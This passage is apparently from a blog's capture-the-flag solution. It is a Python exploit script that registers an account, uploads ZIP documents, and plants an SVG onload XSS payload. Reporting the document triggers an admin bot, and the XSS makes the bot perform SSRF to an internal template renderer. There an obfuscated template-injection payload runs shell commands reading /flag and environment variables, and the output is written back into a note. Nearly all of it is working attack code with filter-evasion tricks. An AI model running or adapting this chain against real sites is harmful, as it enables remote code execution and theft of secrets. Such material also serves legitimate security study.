        f'--{boundary}\r\nContent-Disposition: form-data; name="archive"; filename="x.zip"\r\nContent-Type: application/zip\r\n\r\n'.encode() + zdata + b"\r\n",
        f"--{boundary}--\r\n",
    ]
    body = b"".join(p.encode() if isinstance(p, str) else p for p in parts)
    s, _, hdrs = req("POST", "/upload", body,
                     {"Content-Type": f"multipart/form-data; boundary={boundary}"},
                     cookie=f"sid={sid}")
    if s != 302:
        raise RuntimeError(f"upload failed: {s}")
    return int(hdrs["Location"].rsplit("/", 1)[1])


def main():
    print(f"[*] target {BASE}")
    form = urllib.parse.urlencode({"username": "attacker", "password": "hunter22"})
    ct = {"Content-Type": "application/x-www-form-urlencoded"}
    s, _, hdrs = req("POST", "/register", form, ct)
    m = re.search(r"sid=([^;]+)", hdrs.get("Set-Cookie", ""))
    if not m:
        s, _, hdrs = req("POST", "/login", form, ct)
        m = re.search(r"sid=([^;]+)", hdrs.get("Set-Cookie", ""))
    sid = m.group(1)
    print("[+] authenticated (attacker)")

    # 1) benign document: final exfil target for the note
    target_id = upload_zip(sid, {
        "manifest.json": json.dumps({"title": "notes", "main": "a.md"}),
        "a.md": "# notes\n",
    })
    print(f"[+] exfil target document id = {target_id}")

    # 2) template RCE payload: os.popen('cat /flag /flag.txt 2>/dev/null;env').read()
    #    every blocked word is built at runtime via h.c(chr codes)
    G = ("h.a(h.a(h.a,h.c(95,95,102,117,110,99,95,95)),"
         "h.c(95,95,103,108,111,98,97,108,115,95,95))[h.c(111,115)]")
    CMD = "cat /flag /flag.txt 2>/dev/null;env"
    codes = ",".join(str(ord(c)) for c in CMD)
    TPL = "{{" + f"h.a({G},h.c(112,111,112,101,110))(h.c({codes})).read()" + "}}"
    assert len(TPL) <= 1000, "template too long"
    print(f"[*] template payload ({len(TPL)} chars)")

    # 3) XSS: same-origin admin SSRF -> internal renderer -> write note to target doc
    ssrf = "http://127.1:9001/render?tpl=" + urllib.parse.quote(TPL, safe="")
    js = (
        "fetch('/admin/fetch?url='+encodeURIComponent('" + ssrf + "'))"
        ".then(r=>r.text()).then(t=>fetch('/api/documents/" + str(target_id) + "/notes',"
        "{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},"
        "body:'body='+encodeURIComponent('[XSS-EXFIL]'+t)}))"
    )
    evil_md = "# hi\n\n<svg/onload=\"" + js + "\">\n"

    evil_id = upload_zip(sid, {
        "manifest.json": json.dumps({"title": "evil", "main": "evil.md"}),
        "evil.md": evil_md,
    }, title="evil")
    print(f"[+] evil document id = {evil_id}")

    # 4) trigger the admin bot
    s, _, _ = req("POST", f"/documents/{evil_id}/report", b"", cookie=f"sid={sid}")
    print(f"[+] reported doc {evil_id}, waiting for bot ...")
    time.sleep(15)

    # 5) read the exfil note
    s, page, _ = req("GET", f"/documents/{target_id}", cookie=f"sid={sid}")
    txt = page.decode("utf-8", "replace")
    notes = re.findall(r'<div class="note">.*?<pre>(.*?)</pre></div>', txt, re.S)
    import html as H
    for n in notes:
        n = H.unescape(n)
        if "XSS-EXFIL" in n:
            print("[+] EXFILTRATED >>>")
            print(n)
            mflag = re.search(r"(?:flag|FLAG)\{[^}]+\}", n)
            if mflag:
                print("[+] FLAG:", mflag.group(0))
            return
    print("[-] note not found; check bot logs (chromium present?)")


if __name__ == "__main__":
    main()
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计